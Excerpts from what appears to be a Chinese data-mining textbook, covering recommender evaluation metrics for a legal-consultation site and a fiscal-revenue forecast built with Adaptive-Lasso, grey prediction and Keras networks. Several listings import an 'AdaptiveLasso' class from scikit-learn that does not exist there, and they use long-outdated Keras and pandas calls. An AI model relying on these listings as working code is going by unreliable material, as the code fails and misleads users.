    {"text": "好的推荐系统能够满足用户的需求，推荐其感兴趣的物品。 同时在推荐的物品中，不能全部是热门的物品，也需要用户反馈意见帮助完善其推荐系统。 因此，好的推荐系统不仅能预测用户的行为，而且能帮助用户发现可能会感兴趣，但却不易被发现的物品。 同时，推荐系统还应该帮助商家将长尾中的好商品发掘出来，推荐给可能会对它们感兴趣的用户。"},
    {"text": "评测指标主要来源于3种评测推荐效果的实验方法，即离线测试、用户调查和在线实验。 离线测试是通过从实际系统中提取数据集，然后采用各种推荐算法对其进行测试，获得各个算法的评测指标。"},
    {"text": "所以，当推荐系统投入实际应用之前，需要利用测试的推荐系统进行用户调查。 用户调查利用测试的推荐系统调查真实用户，观察并记录他们的行为，并让他们回答一些相关的问题。 通过分析用户的行为和他们反馈的意见，判断测试推荐系统的好坏。"},
    {"text": "因为不同表现方式的数据集，其评测指标也不同，针对不同的数据方式，其评测指标的公式见表12-27。 表12-27 评测指标表 在某些电子商务的网站中，存在对物品进行打分的功能。"},
    {"text": "在此种数据的情况下，如果要预测用户对某个物品的评分，就需要用预测准确度的数据表现方式，其中评测的指标有均方根误差（RMSE），平均绝对误差（MAE）。"},
    {"text": "·真正率TPR＝TP/（TP+FN）意思为：正样本预测结果数/正样本实际数，即召回率。 ·假正率FPR＝FP/（FP+TN）意思为：被预测为正的负样本结果数/负样本实际数。"},
    {"text": "针对婚姻知识类与咨询类的数据进行模型构造，通过3种推荐算法，以及不同K值（推荐K取值为3、5、10、15、20、30）的情况下所得出的准确率与召回率的评价指标。 婚姻知识类的评价指标图如图12-11所示，从图中可看出，Popular算法是随着推荐个数K的增加，其召回率R将变大，准确率P将变小。"},
    {"text": "从表中可以看出，在此数据下，随机推荐的结果最差，但是随着K值的增加，其F1值也在增加，而Popular算法的推荐效果随着K值的增加会越来越差，其F1值一直在下降，相对协同过滤算法，在K＝5的时候，其F1值最大，然后会随着K值增加而下降。 比较不同算法之间的差异，从表中可以看出，随机推荐的效果最差。"},
    {"text": "图12-12 咨询类准确率-召回率图 表12-29 婚姻知识类模型评价指标 表12-30 咨询类模型评价指标 3.结果分析 通过基于项目的协同过滤算法，针对每个用户进行推荐，推荐相似度排名前5的项目，其婚姻知识类推荐结果见表12-31，其咨询类的推荐结果见表12-32。 表12-31 婚姻知识类推荐结果 表12-32 咨询类推荐结果 从上述推荐结果的表格中可知，根据用户访问的相关网址，对用户进行推荐。"},
    {"text": "但是其推荐结果存在null的情况，产生这种情况是由于在目前的数据集中，出现访问此网址的只有单独一个用户，因此在协同过滤算法中计算它与其他物品的相似度为0，所以出现无法推荐的情况。 一般出现这样的情况，在实际中可以考虑其他的非个性化的推荐方法进行推荐，例如基于关键字、基于相似行为的用户等。"},
    {"text": "由于本例采用的是最基本的协同过滤算法进行建模，因此得出的模型结果也是一个初步的效果，实际应用过程中要结合业务进行分析，对模型进一步改造。"},
    {"text": "因此处理热门网址的方法有：1）在计算相似度的过程中，可以加强对热门网址的惩罚，降低其权重，比如对相似度平均化或者对数化等方法。 2）将推荐结果中的热门网址过滤掉，推荐其他的网址，将热门网址以热门排行榜的形式进行推荐，见表12-33。"},
    {"text": "表12-33 婚姻知识类热门排行榜 在协同过滤推荐过程中，两个物品相似是因为它们共同出现在很多用户的兴趣列表中，也可以说是每个用户的兴趣列表都对物品的相似度产生贡献。"},
    {"text": "在实际分析中，一般认为新用户倾向于浏览热门物品，首先他们对网站还不熟悉，只能点击首页的热门物品，而老用户会逐渐开始浏览冷门的物品。"},
    {"text": "所以，在改进相似度的过程中，取用户活跃度对数的倒数作为分子，即本例中相似度的公式为： 然而，在实际应用中，为了尽量提高推荐的准确率，还会将基于物品的相似度矩阵按最大值归一化，其好处不仅仅在于增加推荐的准确度，还可以提高推荐的覆盖率和多样性。"},
    {"text": "12.3 上机实验 1.实验目的 ·了解协同过滤算法在互联网电子商务中的应用以及实现过程。 ·了解Python连接数据库的方法，并对其进行操作的过程。主要步骤有MariaDB的安装搭建，PyMySQL、SQLAlchemy的安装，以及Pandas读取数据库等。 2.实验内容 依据本例的数据抽取以及数据处理方法，得到用户与物品（访问网页）的记录，通过使用用户与婚姻知识类型和婚姻咨询类型的数据，采用Python构建其推荐系统模型。 ·因数据量大，采用Python连接数据库的方式抽取数据，并且通过Python对数据库进行日常的数据操作。 ·用户点击网页体现了用户对某些网页的关注程度，利用协同过滤算法能计算出与某些网页相似的网页的相似程度，根据相似程度的高低，将用户未点击过的并且有可能有兴趣的网页推荐给用户，实现智能推荐。 3.实验方法与步骤 实验一 利用Python连接MariaDB（MySQL）数据库，实现对数据的查询、删除、增加等日常操作。 1）打开Python，安装PyMySQL、SQLAlchemy，然后参考本章代码连接本地安装的数据库。当然，可以不用Python，直接用PyMySQL或SQLAlchemy进行数据库操作，它们本身是一个完善的数据库操作工具（用Pandas是为了更好地进行数据分析，就数据库操作而言，PyMySQL、SQLAlchemy之一就很不错了）。 2）由于数据库中含有中文内容，需要正确设置连接的编码格式。 3）通过Pandas连接数据库后，所进行的数据操作和之前通过read_csv（）、read_excel（）函数读取的数据操作并无不同。 4）通过to_sql（）方法，试着将处理后的数据保存到数据库中。 5）基于Pandas的sql操作简单直接，读者熟悉后，请查阅相关教程，尝试直接通过PyMySQL或SQLAlchemy进行数据库操作，以增加对这两个工具的了解。 实验二 利用Python完成推荐系统的模型构建，以及预测的推荐结果，并完成模型的评价工作。 1）由于协同过滤算法并不复杂，因此，读者应该可以读懂该算法，并且能够参考本章提供的代码，自行编写出协同过滤算法的代码。 2）通过自行编写的协同过滤算法的代码，给出预测的推荐结果。 3）采用3种模型对输入数据进行建模，用随机打乱数据验证的方法，获取各个模型在不同的推荐值的情况下的评价指标值，并计算出各个模型下的F1指标。 4）画出3种模型的准确率与召回率的指标图，并将各个指标保存到文本。 4.思考与实验总结 1）如何通过Python操作数据库中存在的中文编码？ 2）如何设置计算相似度的方法，例如采用余弦方法计算其物品间的相似度？ 12.4 拓展思考 本例中主要分析的内容为婚姻知识类别与婚姻咨询类别的有关记录，其结果比目前网页上基于关键词的推荐发散性要强，取到一个互补的效果。但由于目前公司主营业务侧重于咨询方面，且在探索分析的环节可以看出咨询记录占整个记录里的50%左右，因此对于咨询类别的页面的推荐需要进一步改造，其数据可以从用户访问的原始数据中提取，见表12-34。 表12-34 原始数据 数据详见：demo/data/7law.sql 首先需要解决冷启动问题，当新的用户产生，如何对其进行推荐？然后在进行相似度设计的过程中未考虑到对热门网址的处理以及那些无法得到推荐结果的网页。由于在原始数据中，每个网页都存在一个标题，可以通过采用文本挖掘的分析方法。通过文本挖掘，找出每个网页文本中的隐含语义，然后通过分析文本中隐含特征，将用户与物品联系在一起，相关的名称有LSI、pLSA、LDA和Topic Model。当然，也可以通过这种方法提取出关键字，通过tf-idf的方法对其关键字进行定义权重，然后采用最近邻的方法求出那些无法得到推荐列表的结果。因此，针对本例的数据，可以采用隐语义模型实现推荐，同样采用离线的方法对其进行测试，然后对比各种推荐方法的评价指标，最后将各种推荐结果进行结合。 12.5 小结 本章主要介绍了协同过滤算法在电子商务领域中的应用，实现了对用户的个性化推荐。通过对用户访问日志的数据进行分析与处理，采用基于物品的协同过滤算法对处理好的数据进行建模分析，最后通过模型评价与结果分析，发现基于物品的协同过滤算法的优缺点，同时对其缺点提出改进的方法。结合上机实验，有助于更好地理解协同过滤推荐算法的原理以及处理过程。"},
    {"text": "第13章 财政收入影响因素分析及预测模型 13.1 背景与挖掘目标 在我国现行的分税制财政管理体制下，地方财政收入不仅是国家财政收入的重要组成部分，还具有其相对独立的构成内容。如何有效地利用地方财政收入，合理地分配来促进地方的发展，提高市民的收入和生活质量是每个地方政府需要考虑的首要问题。因此，对地方财政收入进行预测，不但是必要的，而且是可能的。科学、合理地预测地方财政收入，对于克服年度地方预算收支规模的随意性和盲目性，正确处理地方财政与经济的相互关系具有十分重要的意义。 某市作为改革开放的前沿城市，其经济发展在全国经济中的地位举足轻重。目前，该市在财政收入规模、结构等方面与北京、上海和深圳等城市仍有一定差距，存在不断完善的空间。本案例旨在通过研究，发现影响该市目前以及未来地方财源建设的因素，并对其进行深入分析，提出对该市地方财源优化的具体建议，供政府决策参考，同时为其他经济发展较快的城市提供借鉴。 考虑到数据的可得性，本案例所用的财政收入分为地方一般预算收入和政府性基金收入。地方一般预算收入包括：①税收收入，主要包括企业所得税和地方所得税中中央和地方共享的40%，地方享有的25%的增值税、营业税和印花税等；②非税收入，包括专项收入、行政事业性收费、罚没收入、国有资本经营收入和其他收入等。政府性基金收入是国家通过向社会征收以及出让土地、发行彩票等方式取得的收入，并专项用于支持特定基础设施建设和社会事业发展的收入。 由于1994年我国对财政体制进行了重大改革，开始实行分税制财政体制，影响了财政收入相关数据的连续性，在1994年前后不具有可比性。由于没有合适的数学手段来调整这种数据的跃变，仅对1994年及其后的数据进行分析，本案例所用数据均来自《某市统计年鉴》（1995-2014）。 表13-1给出了某市1994~2013年财政收入以及相关因素的数据，为进一步寻找某市财政收入的关键影响因素做准备。 表13-1 某市财政收入及其相关数据 本次数据挖掘建模目标如下。 1）梳理影响地方财政收入的关键特征，分析、识别影响地方财政收入的关键特征的选择模型。 2）结合目标1）的因素分析，对某市2015年的财政总收入及各个类别收入进行预测。"},
    {"text": "13.2 分析方法与过程 我国很多学者已经对财政收入的影响因素进行了很多研究，但是他们大多先建立财政收入与各待定的影响因素之间的多元线性回归模型，运用最小二乘估计方法来估计回归模型的系数，通过系数能否通过检验来检验它们之间的关系，这样的结果对数据的依赖程度很大，并且普通最小二乘估计求得的解往往是局部最优解，后续的检验可能就会失去应有的意义。"},
    {"text": "设变量X （0） ={X （0） （i），i=1，2…n}为一非负单调原始数据序列，建立灰色预测模型：首先对X （0） 进行一次累加得到一次累加序列X （1） ={X （1） （k），k=1，2，…，n}。"},
    {"text": "由于GM（1，1）模型得到的是一次累加量，将GM（1，1）模型所得数据 经过累减还原为 ，即X （0） 的灰色预测模型为： 后验差检验模型精度表见表13-2。 表13-2 后验差检验判别参照表 13.2.1 灰色预测与神经网络的组合模型 在Adaptive-Lasso变量选择的基础上，鉴于灰色预测对小数据量数据预测的优良性能，对单个选定的影响因素建立灰色预测模型，得到它们在2014年及2015年的预测值。"},
    {"text": "由于神经网络较强的适用性和容错能力，对历史数据建立训练模型，把灰色预测的数据结果代入训练好的模型中，就得到了充分考虑历史信息的预测结果，即2015年某市财政收入及各个类别的收入。"},
    {"text": "图13-1 基于数据挖掘技术的财政收入分析预测模型流程 13.2.2 数据探索分析 影响财政收入（y）的因素有很多，在查阅大量文献的基础上，通过经济理论对财政收入的解释以及对实践的观察，考虑一些与能源消耗关系密切并且直观上有线性关系的因素，初步选取以下因素为自变量，分析它们之间的关系。"},
    {"text": "当社会消费品零售总额增长时，表明社会消费意愿强烈，某种程度上会导致财政收入中增值税的增长； 同时，当消费增长时，也会引起经济系统中其他方面发生变动，最终导致财政收入的增长。"},
    {"text": "城镇居民人均可支配收入（x4）： 居民收入越高，消费能力越强，同时意味着其工作积极性越高，创造出的财富越多，从而能带来财政收入的更快和持续增长。 城镇居民人均消费性支出（x5）： 居民在消费商品的过程中会产生各种税费，税费又是调节生产规模的手段之一。"},
    {"text": "在国家经济政策不变、社会秩序稳定的情况下，地方经济发展水平与地方财政收入之间存在着密切的相关性，越是经济发达的地区，其财政收入的规模就越大。"},
    {"text": "代码清单13-1 原始数据概括性度量 #-*- coding: utf-8 -*- import numpy as np import pandas as pd inputfile = '../data/data1.csv' # 输入的数据文件 data = pd.read_csv(inputfile) # 读取数据 r = [data.min(), data.max(), data.mean(), data.std()] # 依次计算最小值、最大值、均值、标准差 r = pd.DataFrame(r, index = ['Min', 'Max', 'Mean', 'STD']).T # 计算相关系数矩阵 np.round(r, 2) # 保留两位小数 代码详见：demo/code/gaikuo.py （2）相关分析 相关系数可以用来描述定量和变量之间的关系，初步判断因变量与解释变量之间是否具有线性相关性。"},
    {"text": "代码清单13-2 原始数据求解Pearson相关系数 #-*- coding: utf-8 -*- import numpy as np import pandas as pd inputfile = '../data/data1.csv' # 输入的数据文件 data = pd.read_csv(inputfile) # 读取数据 np.round(data.corr(method = 'pearson'), 2) # 计算相关系数矩阵，保留两位小数 代码详见：demo/code/correlation.py 13.2.3 模型构建 1.Adaptive-Lasso变量选择模型 运用LARS算法来解决公式（2）的Adaptive-Lasso估计，对于每给一个γ，该算法会寻找一个最优的λ n 。"},
    {"text": "表13-5 系数表 代码清单13-3 Adaptive-Lasso变量选择 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/data1.csv' # 输入的数据文件 data = pd.read_csv(inputfile) # 读取数据 # 导入 AdaptiveLasso 算法，要在较新的 Scikit-Learn 才有。 from sklearn.linear_model import AdaptiveLasso model = AdaptiveLasso(gamma=1) model.fit(data.iloc[:,0:13],data['y']) model.coef_ # 各个特征的系数 代码详见：demo/code/1-adaptive-lasso.py 由表13-5可以看出，年末总人口、地区生产总值、第一产业产值、税收、居民消费价格指数、第三产业与第二产业产值比以及居民消费水平等因素的系数为0，即在模型建立的过程中这几个变量被剔除了，这是因为居民消费水平与城镇居民人均消费性支出存在明显的共线性，在构建模型的过程中，Adaptive-Lasso方法剔除了这个变量；"},
    {"text": "综上所述，利用Adaptive-Lasso方法识别影响财政收入的关键影响因素是社会从业人数、在岗职工工资总额、社会消费品零售总额、城镇居民人均可支配收入、城镇居民人均消费性支出以及全社会固定资产投资额。 2.财政收入及各类别收入预测模型 （1）某市财政收入预测模型 对Adaptive-Lasso变量选择方法识别的影响财政收入的因素建立灰色预测与神经网络的组合预测模型，其参数设置为误差精度10 -7 ，学习次数10000次，神经元个数为Lasso变量选择方法选择的变量个数6。"},
    {"text": "社会从业人数（x1）、在岗职工工资总额（x2）、社会消费品零售总额（x3）、城镇居民人均可支配收入（x4）、城镇居民人均消费性支出（x5）、固定资产投资额（x7）指标的2014年及2015年数值均通过Python建立灰色预测模型得出。"},
    {"text": "表13-6 灰色预测模型地方财政收入相关因素精度表 地方财政收入灰色预测的数据处理见代码清单13-4。 代码清单13-4 地方财政收入灰色预测 #-*- coding: utf-8 -*- import numpy as np import pandas as pd from GM11 import GM11 # 引入自己编写的灰色预测函数 inputfile = '../data/data1.csv' # 输入的数据文件 outputfile = '../tmp/data1_GM11.xls' # 灰色预测后保存的路径 modelfile = '../tmp/net.model' # 模型保存路径 data = pd.read_csv(inputfile) # 读取数据 data.index = range(1994, 2014) data.loc[2014] = None data.loc[2015] = None l = ['x1', 'x2', 'x3', 'x4', 'x5', 'x7'] for i in l: f = GM11(data[i][range(1994, 2014)].as_matrix())[0] data[i][2014] = f(len(data)-1) #2014 年预测结果 data[i][2015] = f(len(data)) #2015 年预测结果 data[i] = data[i].round(2) # 保留两位小数 data[l+['y']].to_excel(outputfile) # 结果输出 代码详见：demo/code/1-huise.py 将数据零均值标准化后，代入地方财政收入所建立的3层神经网络预测模型（输入层6节点，隐藏层12节点，输出层1节点），得到某市财政收入2015年的预测值为2366.42亿元，相关数据见表13-7，其中红色字体的数据为预测数据。"},
    {"text": "图13-2为神经网络地方财政收入真实值与预测值对比图。 表13-7 地方财政收入及其相关因素历史数据和预测表 数据详见：demo/data/revenue.xls 图13-2 地方财政收入真实值与预测值对比图 代码清单13-5为地方财政收入神经网络预测模型。"},
    {"text": "代码清单13-5 地方财政收入神经网络预测模型 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../tmp/data1_GM11.xls' # 灰色预测后保存的路径 outputfile = '../data/revenue.xls' # 神经网络预测后保存的结果 modelfile = '../tmp/1-net.model' # 模型保存路径 data = pd.read_excel(inputfile) # 读取数据 feature = ['x1', 'x2', 'x3', 'x4', 'x5', 'x7'] # 特征所在列 data_train = data.loc[range(1994,2014)].copy() # 取 2014 年前的数据建模 data_mean = data_train.mean() data_std = data_train.std() data_train = (data_train - data_mean)/data_std # 数据标准化 x_train = data_train[feature].as_matrix() # 特征数据 y_train = data_train['y'].as_matrix() # 标签数据 from keras.models import Sequential from keras.layers.core import Dense, Activation model = Sequential() # 建立模型 model.add(Dense(6, 12)) model.add(Activation('relu')) # 用 relu 函数作为激活函数，能够大幅提供准确度 model.add(Dense(12, 1)) model.compile(loss='mean_squared_error', optimizer='adam') # 编译模型 model.fit(x_train, y_train, nb_epoch = 10000, batch_size = 16) # 训练模型，学习一万次 model.save_weights(modelfile) # 保存模型参数 # 预测，并还原结果。 x = ((data[feature] - data_mean[feature])/data_std[feature]).as_matrix() data[u'y_pred'] = model.predict(x) * data_std['y'] + data_mean['y'] data.to_excel(outputfile) import matplotlib.pyplot as plt # 画出预测结果图 p = data[['y','y_pred']].plot(subplots = True, style=['b-o','r-*']) plt.show() 代码详见：demo/code/1-yuce.py （2）增值税预测模型 利用Adaptive-Lasso方法进行增值税影响因素的变量选择，通过表13-8可以看出，商品进口总值（x1）、工业增加值（x3）和工业增加值占GDP（x5）比重这3个因素进入选择，其他因素的系数为0。"},
    {"text": "代码清单13-6 Adaptive-Lasso变量选择 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/data2.csv' # 输入的数据文件 data = pd.read_csv(inputfile) # 读取数据 # 导入 AdaptiveLasso 算法，要在较新的 Scikit-Learn 才有。"},
    {"text": "from sklearn.linear_model import AdaptiveLasso model = AdaptiveLasso(gamma=1) model.fit(data.iloc[:,0:6],data['y']) model.coef_ # 各个特征的系数 代码详见：demo/code/2-adaptive-lasso.py 对Adaptive-Lasso变量选择方法识别的影响增值税的因素建立神经网络预测模型，其参数设置为误差精度10 -7 ，学习次数10000次，神经元个数为Lasso变量选择方法选择的变量个数3。"},
    {"text": "商品进口总值（x1）、工业增加值（x3）和工业增加值占GDP比重（x5）指标的2014年及2015年数值可以通过Python建立灰色预测模型得出，后验差比值、预测精度等级见表13-9。"},
    {"text": "表13-9 灰色预测模型增值税相关因素精度表 增值税灰色预测如代码清单13-7所示。 代码清单13-7 增值税灰色预测 #-*- coding: utf-8 -*- import numpy as np import pandas as pd from GM11 import GM11 # 引入自己编写的灰色预测函数 inputfile = '../data/data2.csv' # 输入的数据文件 outputfile = '../tmp/data2_GM11.xls' # 灰色预测后保存的路径 data = pd.read_csv(inputfile) # 读取数据 data.index = range(1999, 2014) data.loc[2014] = None data.loc[2015] = None l = ['x1', 'x3', 'x5'] for i in l: f = GM11(data[i][range(1999, 2014)].as_matrix())[0] data[i][2014] = f(len(data)-1) #2014 年预测结果 data[i][2015] = f(len(data)) #2015 年预测结果 data[i] = data[i].round(6) # 保留六位小数 data[l+['y']].to_excel(outputfile) # 结果输出 代码详见：demo/code/2-huise.py 将数据零均值标准化后，代入增值税所建立的3层神经网络预测模型（输入层3节点，隐藏层6节点，输出层1节点），得到增值税的2015年预测值为2696434万元，相关数据见表13-10，其中红色字体的数据为预测数据。"},
    {"text": "图13-3为神经网络增值税真实值与预测值对比图。 表13-10 增值税及其相关因素历史数据和预测表 数据详见：demo/data/VAT.xls 图13-3 增值税真实值与预测值对比图 图13-3 （续） 增值税神经网络预测模型如代码清单13-8所示。 代码清单13-8 增值税神经网络预测模型 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../tmp/data2_GM11.xls' # 灰色预测后保存的路径 outputfile = '../data/VAT.xls' # 神经网络预测后保存的结果 modelfile = '../tmp/2-net.model' # 模型保存路径 data = pd.read_excel(inputfile) # 读取数据 feature = ['x1', 'x3', 'x5'] # 特征所在列 data_train = data.loc[range(1999,2014)].copy() # 取 2014 年前的数据建模 data_mean = data_train.mean() data_std = data_train.std() data_train = (data_train - data_mean)/data_std # 数据标准化 x_train = data_train[feature].as_matrix() # 特征数据 y_train = data_train['y'].as_matrix() # 标签数据 from keras.models import Sequential from keras.layers.core import Dense, Activation model = Sequential() # 建立模型 model.add(Dense(3, 6)) model.add(Activation('relu')) # 用 relu 函数作为激活函数，能够大幅提供准确度 model.add(Dense(6, 1)) model.compile(loss='mean_squared_error', optimizer='adam') # 编译模型 model.fit(x_train, y_train, nb_epoch = 10000, batch_size = 16) # 训练模型，学习一万次 model.save_weights(modelfile) # 保存模型参数 # 预测，并还原结果。 x = ((data[feature] - data_mean[feature])/data_std[feature]).as_matrix() data[u'y_pred'] = model.predict(x) * data_std['y'] + data_mean['y'] data[u'y_pred'] = data[u'y_pred'].round() data.to_excel(outputfile) import matplotlib.pyplot as plt # 画出预测结果图 p = data[['y','y_pred']].plot(subplots = True, style=['b-o','r-*']) plt.show() 代码详见：demo/code/2-yuce.py （3）营业税预测模型 利用Adaptive-Lasso方法进行营业税影响因素的变量选择，通过表13-11可以看出，全社会固定资产投资额（x3）、城市商品零售价格指数（1978＝100）（x4）、规模以上国有及国有控股工业企业亏损面（x6）和建筑业企业利润总额（x8）这4个因素进入选择，其他因素的系数为0。"},
    {"text": "表13-11 系数表 代码清单13-9 adaptive-lasso变量选择 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/data3.csv' # 输入的数据文件 data = pd.read_csv(inputfile) # 读取数据 # 导入 AdaptiveLasso 算法，要在较新的 Scikit-Learn 才有。 from sklearn.linear_model import AdaptiveLasso model = AdaptiveLasso(gamma=1) model.fit(data.iloc[:,0:10],data['y']) model.coef_ # 各个特征的系数 代码详见：demo/code/3-adaptive-lasso.py 对Adaptive-Lasso变量选择方法识别的影响营业税的因素建立神经网络预测模型，其参数设置为误差精度10-7，学习次数10000次，神经元个数为Lasso变量选择方法选择的变量个数3。"},
    {"text": "代码清单13-10 营业税灰色预测 #-*- coding: utf-8 -*- import numpy as np import pandas as pd from GM11 import GM11 # 引入自己编写的灰色预测函数 inputfile = '../data/data3.csv' # 输入的数据文件 outputfile = '../tmp/data3_GM11.xls' # 灰色预测后保存的路径 data = pd.read_csv(inputfile) # 读取数据 data.index = range(1999, 2014) data.loc[2014] = None data.loc[2015] = None l = ['x3', 'x4', 'x6', 'x8'] for i in l: f = GM11(data[i][range(1999, 2014)].as_matrix())[0] data[i][2014] = f(len(data)-1) #2014 年预测结果 data[i][2015] = f(len(data)) #2015 年预测结果 data[i] = data[i].round() # 取整 data[l+['y']].to_excel(outputfile) # 结果输出 代码详见：demo/code/3-huise.py 将数据零均值标准化后，代入营业税所建立的3层神经网络预测模型（输入层4节点，隐藏层8节点，输出层1节点），得到营业税的2015年预测值为2371484万元，相关数据见表13-13，其中红色字体的数据为预测数据。"},
    {"text": "图13-4为神经网络营业税真实值与预测值对比图。 表13-13 营业税及其相关因素历史数据和预测表 数据详见：demo/data/sales_tax.xls 图13-4 营业税真实值与预测值对比图 营业税神经网络预测模型如代码清单13-11所示。 代码清单13-11 营业税神经网络预测模型 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../tmp/data3_GM11.xls' # 灰色预测后保存的路径 outputfile = '../data/sales_tax.xls' # 神经网络预测后保存的结果 modelfile = '../tmp/3-net.model' # 模型保存路径 data = pd.read_excel(inputfile) # 读取数据 feature = ['x3', 'x4', 'x6', 'x8'] # 特征所在列 data_train = data.loc[range(1999,2014)].copy() # 取 2014 年前的数据建模 data_mean = data_train.mean() data_std = data_train.std() data_train = (data_train - data_mean)/data_std # 数据标准化 x_train = data_train[feature].as_matrix() # 特征数据 y_train = data_train['y'].as_matrix() # 标签数据 from keras.models import Sequential from keras.layers.core import Dense, Activation model = Sequential() # 建立模型 model.add(Dense(4, 8)) model.add(Activation('relu')) # 用 relu 函数作为激活函数，能够大幅提供准确度 model.add(Dense(8, 1)) model.compile(loss='mean_squared_error', optimizer='adam') # 编译模型 model.fit(x_train, y_train, nb_epoch = 10000, batch_size = 16) # 训练模型，学习一万次 model.save_weights(modelfile) # 保存模型参数 # 预测，并还原结果。 x = ((data[feature] - data_mean[feature])/data_std[feature]).as_matrix() data[u'y_pred'] = model.predict(x) * data_std['y'] + data_mean['y'] data[u'y_pred'] = data[u'y_pred'].round(2) data.to_excel(outputfile) import matplotlib.pyplot as plt # 画出预测结果图 p = data[['y','y_pred']].plot(subplots = True, style=['b-o','r-*']) plt.show() 代码详见：demo/code/3-yuce.py （4）企业所得税预测模型 利用Adaptive-Lasso方法进行企业所得税影响因素的变量选择，通过表13-14可以看出，规模以上工业企业盈亏相抵后的利润总额和建筑业企业利润总额这两个因素的系数为0。"},
    {"text": "第二产业增加值（x1）、第三产业增加值（x2）、全社会固定资产投资额（x3）、城市商品零售价格指数（1978＝100）（x4）、规模以上国有及国有控股工业企业亏损面（x6）、建筑业总产值（x7）、限额以上连锁店（公司）零售额（x9）、地方财政总收入（x10）8个变量被选入影响企业所得税（y）的因素中。"},
    {"text": "代码清单13-12 Adaptive-Lasso变量选择 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/data4.csv' # 输入的数据文件 data = pd.read_csv(inputfile) # 读取数据 # 导入 AdaptiveLasso 算法，要在较新的 Scikit-Learn 才有。"},
    {"text": "from sklearn.linear_model import AdaptiveLasso model = AdaptiveLasso(gamma=1) model.fit(data.iloc[:,0:10],data['y']) model.coef_ # 各个特征的系数 代码详见：demo/code/4-adaptive-lasso.py 对Adaptive-Lasso变量选择方法识别的影响企业所得税的因素建立神经网络预测模型，其参数设置为误差精度10 -7 ，学习次数5000次（数据量较小，过多容易过拟合），神经元个数为Lasso变量选择方法选择的变量个数8。"},
    {"text": "表13-15 灰色预测模型企业所得税相关因素精度表 企业所得税灰色预测如代码清单13-13所示。 代码清单13-13 企业所得税灰色预测 #-*- coding: utf-8 -*- import numpy as np import pandas as pd from GM11 import GM11 # 引入自己编写的灰色预测函数 inputfile = '../data/data4.csv' # 输入的数据文件 outputfile = '../tmp/data4_GM11.xls' # 灰色预测后保存的路径 data = pd.read_csv(inputfile) # 读取数据 data.index = range(2002, 2014) data.loc[2014] = None data.loc[2015] = None l = ['x1', 'x2', 'x3', 'x4', 'x6', 'x7', 'x9', 'x10'] for i in l: f = GM11(data[i][range(2002, 2014)].as_matrix())[0] data[i][2014] = f(len(data)-1) #2014 年预测结果 data[i][2015] = f(len(data)) #2015 年预测结果 data[i] = data[i].round(2) # 保留两位小数 data[l+['y']].to_excel(outputfile) # 结果输出 代码详见：demo/code/4-huise.py 将数据零均值标准化后，代入企业所得税所建立的3层神经网络预测模型（输入层8节点，隐藏层6节点，输出层1节点），得到企业所得税的2015年预测值为1608361万元，相关数据见表13-16，其中红色字体的数据为预测数据。"},
    {"text": "图13-5为神经网络企业所得税真实值与预测值对比图。 表13-16 企业所得税及其相关因素历史数据和预测表 数据详见：demo/data/enterprise_income.xls 图13-5 企业所得税真实值与预测值对比图 企业所得税神经网络预测模型如代码清单13-14所示。 代码清单13-14 企业所得税神经网络预测模型 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../tmp/data4_GM11.xls' # 灰色预测后保存的路径 outputfile = '../data/enterprise_income.xls' # 神经网络预测后保存的结果 modelfile = '../tmp/4-net.model' # 模型保存路径 data = pd.read_excel(inputfile) # 读取数据 feature = ['x1', 'x2', 'x3', 'x4', 'x6', 'x7', 'x9', 'x10'] # 特征所在列 data_train = data.loc[range(2002,2014)].copy() # 取 2014 年前的数据建模 data_mean = data_train.mean() data_std = data_train.std() data_train = (data_train - data_mean)/data_std # 数据标准化 x_train = data_train[feature].as_matrix() # 特征数据 y_train = data_train['y'].as_matrix() # 标签数据 from keras.models import Sequential from keras.layers.core import Dense, Activation model = Sequential() # 建立模型 model.add(Dense(8, 6)) model.add(Activation('relu')) # 用 relu 函数作为激活函数，能够大幅提供准确度 model.add(Dense(6, 1)) model.compile(loss='mean_squared_error', optimizer='adam') # 编译模型 model.fit(x_train, y_train, nb_epoch = 5000, batch_size = 16) # 训练模型，学习五千次 model.save_weights(modelfile) # 保存模型参数 # 预测，并还原结果。 x = ((data[feature] - data_mean[feature])/data_std[feature]).as_matrix() data[u'y_pred'] = model.predict(x) * data_std['y'] + data_mean['y'] data[u'y_pred'] = data[u'y_pred'].round() data.to_excel(outputfile) import matplotlib.pyplot as plt # 画出预测结果图 p = data[['y','y_pred']].plot(subplots = True, style=['b-o','r-*']) plt.show() 代码详见：demo/code/4-yuce.py （5）个人所得税预测模型 利用Adaptive-Lasso方法进行个人所得税（y）影响因素的变量选择，通过表13-17可以看出，城市居民年人均可支配收入（x1）、地区生产总值（x4）、第二产业增加值（x5）和地方财政收入（x7）这4个因素进入选择，其他因素的系数为0。"},
    {"text": "代码清单13-15 Adaptive-Lasso变量选择 #-*- coding: utf-8 -*- import pandas as pd inputfile = '../data/data5.csv' # 输入的数据文件 data = pd.read_csv(inputfile) # 读取数据 # 导入 AdaptiveLasso 算法，要在较新的 Scikit-Learn 才有。"},
    {"text": "from sklearn.linear_model import AdaptiveLasso model = AdaptiveLasso(gamma=1) model.fit(data.iloc[:,0:7],data['y']) model.coef_ # 各个特征的系数 代码详见：demo/code/5-adaptive-lasso.py 对Adaptive-Lasso变量选择方法识别的影响个人所得税的因素建立神经网络预测模型，其参数设置为误差精度10 -7 ，学习次数15000次，神经元个数为Lasso变量选择方法选择的变量个数4。"},
    {"text": "表13-18 灰色预测模型个人所得税相关因素精度表 代码清单13-16 个人所得税灰色预测 #-*- coding: utf-8 -*- import numpy as np import pandas as pd from GM11 import GM11 # 引入自己编写的灰色预测函数 inputfile = '../data/data5.csv' # 输入的数据文件 outputfile = '../tmp/data5_GM11.xls' # 灰色预测后保存的路径 data = pd.read_csv(inputfile) # 读取数据 data.index = range(2000, 2014) data.loc[2014] = None data.loc[2015] = None l = ['x1', 'x4', 'x5', 'x7'] for i in l: f = GM11(data[i][range(2000, 2014)].as_matrix())[0] data[i][2014] = f(len(data)-1) #2014 年预测结果 data[i][2015] = f(len(data)) #2015 年预测结果 data[i] = data[i].round() # 取整 data[l+['y']].to_excel(outputfile) # 结果输出 代码详见：demo/code/5-huise.py 